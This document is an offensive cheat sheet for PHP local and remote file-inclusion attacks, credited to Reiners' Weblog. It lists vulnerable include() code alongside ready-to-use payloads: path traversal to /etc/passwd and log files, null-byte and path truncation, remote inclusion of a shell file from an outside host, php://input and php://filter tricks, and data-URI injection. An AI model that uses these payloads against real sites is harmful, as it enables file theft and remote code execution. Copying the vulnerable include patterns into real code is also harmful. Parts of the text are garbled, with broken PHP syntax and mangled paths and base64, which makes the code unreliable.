Basic file include vulnerability:
| The code is as follows |
Copy Code |
<?php include ("includes/". $_get[' file ');?>
* Contains files under the same path:
? file=.htaccess
* Path Traversal:
? file=. /.. /.. /.. /.. /.. /.. /.. /.. /var/lib/locate.db
(This file is very interesting because it allows you to search the file system)
* Contains files to inject PHP code:
? file=. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
(You can find the other possible Apache dirs-here and ways. Possible logfiles, file uploads, session files etc.
|
Restricted local files include:
| The code is as follows |
Copy Code |
<?php include ("includes/". $_get[' file '). ". htm");?>
* Empty character injection (null Byte injection):
? file=. /.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd%00
(Need Magic_quotes_gpc=off)
* Column directory (Null Byte injection):
? file=. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/accounts/%00
(BSD only, need Magic_quotes_gpc=off, detailed information here)
* Path truncation (path truncation):
? file=. /.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd ........
(see here and here for more information)
* Point number truncation:
? file=. /.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd ............
(Windows only, see here for more details)
|
The basic remote file contains:
| code is as follows |
copy code |
|
<?php include ($_get[' file ');?>
* contains remote code (including):
? file=[http|https|ftp]://websec.wordpress.com/shell.txt
(Need Allow_url_fopen=on and Allow_url_include=on)
* Use PHP input stream (using PHP stream php://input):
? file=php://input
(Specify your payload in the POST parameters, watch urlencoding, details here, requires Allow_url_include=on)
* Use PHP filter function (using PHP stream php://filter):
? file=php://filter/convert.base64-encode/resource=index.php
(Lets you read the PHP source because it wont get evaluated in base64. More details here and here)
* Using Data URIs:
? file=data://text/plain;base64,ssbsb3zlifbiuao=
(Need Allow_url_include=on) |
* For cross-site scripting attacks (Using XSS):
| The code is as follows |
Copy Code |
? file=http://127.0.0.1/path/xss.php?xss=phpcode
(Makes sense if firewalled or only whitelisted domains allowed)
|
Limited remote file contains vulnerabilities
| The code is as follows |
Copy Code |
<?php include ($_get[' file '). ". htm");?>
* File=http://websec.wordpress.com/shell?
* file=http://websec.wordpress.com/shell.txt?
* file=http://websec.wordpress.com/shell.txt%23?
(Need Allow_url_fopen=on and Allow_url_include=on)
|
Static remote file contains vulnerability:
| The code is as follows |
Copy Code |
|
<?php include ("http://192.168.1.10/config.php");?>
* Man-in-the-Middle attack (man in the middle)
(lame indeed, but often forgotten) |
From Reiners ' Weblog.